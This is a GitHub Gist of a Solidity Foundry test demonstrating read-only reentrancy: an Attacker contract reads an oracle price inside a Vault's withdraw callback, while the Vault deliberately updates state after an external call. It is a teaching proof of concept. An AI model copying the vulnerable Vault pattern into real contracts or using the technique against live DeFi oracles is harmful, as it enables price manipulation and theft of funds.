-
-
Save bytes032/55f70b2b8afa6c30faf6797f1ad723b4 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: Unlicense | |
pragma solidity ^0.8.13; | |
import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; | |
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol"; | |
import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; | |
import "forge-std/console.sol"; | |
import "forge-std/Test.sol"; | |
contract ReadOnlyReentrancy is Test { | |
Vault private vault; | |
Attacker private attacker; | |
Oracle private oracle; | |
address alice = address(0x69); | |
function setUp() external { | |
vault = new Vault(); | |
oracle = new Oracle(address(vault)); | |
attacker = new Attacker(address(vault), address(oracle)); | |
vm.deal(address(attacker), 10 ether); | |
vm.deal(alice, 5 ether); | |
} | |
function testAttack() public { | |
vm.prank(alice); | |
vault.deposit{value: 5 ether}(); | |
attacker.attack(); | |
} | |
} | |
contract Attacker { | |
Vault private vault; | |
Oracle private oracle; | |
constructor(address _vaultAddress, address _oracleAddress) { | |
vault = Vault(_vaultAddress); | |
oracle = Oracle(_oracleAddress); | |
} | |
function attack() public { | |
console.log("Price before deposit", oracle.getPrice()); | |
// Deposit to pump the price | |
vault.deposit{value: 5 ether}(); | |
// Withdraw in order to trigger receive fallback | |
vault.withdraw(); | |
console.log("Price after deposit", oracle.getPrice()); | |
} | |
receive() external payable { | |
// Perform malicious actions with pumped price | |
console.log("Price during deposit", oracle.getPrice()); | |
} | |
} | |
contract Oracle { | |
Vault private vault; | |
constructor(address _vault) { | |
vault = Vault(_vault); | |
} | |
function getPrice() public view returns (uint256) { | |
return (vault.totalLocked() / 1e18) / 2; | |
} | |
} | |
contract Vault is ReentrancyGuard { | |
mapping(address => uint256) public userLocked; | |
uint256 public totalLocked; | |
function deposit() external payable { | |
userLocked[msg.sender] += msg.value; | |
totalLocked += msg.value; | |
} | |
function withdraw() external nonReentrant { | |
require(userLocked[msg.sender] > 0); | |
require(address(this).balance >= userLocked[msg.sender]); | |
(bool success, ) = payable(msg.sender).call{ | |
value: userLocked[msg.sender] | |
}(""); | |
require(success); | |
totalLocked -= userLocked[msg.sender]; | |
userLocked[msg.sender] = 0; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment